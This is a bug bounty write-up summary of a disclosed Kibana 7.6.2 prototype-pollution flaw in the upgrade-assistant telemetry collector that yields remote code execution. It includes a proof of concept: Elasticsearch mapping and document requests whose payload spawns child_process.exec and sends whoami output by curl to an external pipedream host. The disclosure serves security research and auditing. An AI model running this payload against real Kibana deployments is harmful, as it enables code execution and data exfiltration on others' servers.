# Remote Code Execution on Cloud via latest Kibana 7.6.2

Prototype pollution via Kibana upgrade-assistant telemetry saved object let any cloud user inject JS into _.set, achieving RCE on Kibana host.

- Payout: $10,000
- Severity: critical
- Program: Elastic
- Found by: alexbrasetvik
- Disclosed: 2020-07-28
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/852613
- Library page: https://bugbountylibrary.com/r/h1%3A852613
- Tags: area:web domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:rce

**Target:** Kibana upgrade_assistant telemetry usage_collector (.kibana saved object)
**Root cause:** usage_collector.ts uses _.set with attacker-controlled keys from a saved object; keys like constructor.prototype.sourceURL pollute Object.prototype, and the polluted sourceURL is later consumed as JS (e.g. by a template/eval sink), executing code.
**Steps:**
1. PUT /.kibana_1/_mappings with full mapping including upgrade-assistant-telemetry.constructor.prototype.sourceURL as text/keyword
2. PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry with body containing `"constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')"`
3. Restart Kibana (cloud console Force Restart) or wait for next telemetry collection run
4. Telemetry collector calls _.set with the crafted keys, polluting Object.prototype.sourceURL; subsequent JS evaluation executes the payload, exfiltrating whoami output
**How found:** Code review of upgrade_assistant telemetry usage_collector.ts spotted dangerous _.set with user-controlled keys from a saved object; recognized constructor.prototype path as prototype pollution sink and traced where sourceURL is later evaluated as JS.
**Exploitation:** Any authenticated cloud user with write access to .kibana indices (default for many roles) indexes a crafted saved object; on next telemetry run the polluted prototype injects JS that spawns child_process.exec, giving shell on the Kibana container.
**Escalation:** From low-priv cloud user to RCE on Kibana host; on-prem x-pack installs equally affected.
**Insight:** When auditing _.set/_.merge/lodash deep-set on saved-object or config data, check whether keys like constructor.prototype.* are reachable and whether any polluted property (sourceURL, shell, env) is later consumed by an eval/template/child_process sink — pollution alone is low impact until you find the gadget.

## Proof of concept (copied exactly from the original report)

**Index doc with prototype pollution payload**

```
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
    "upgrade-assistant-telemetry" : {
      "ui_open.overview" : 1,
      "ui_open.cluster" : 1,
      "ui_open.indices" : 1,
      "constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')
```

**Mapping enabling constructor.prototype.sourceURL field**

```
PUT /.kibana_1/_mappings
{
  "properties": {
    "upgrade-assistant-telemetry": {
      "properties": {
        "constructor": {
          "properties": {
            "prototype": {
              "properties": {
                "sourceURL": {
                  "type": "text",
                  "fields": {
                    "keyword": {
                      "type": "keyword",
                      "ignore_above": 256
```

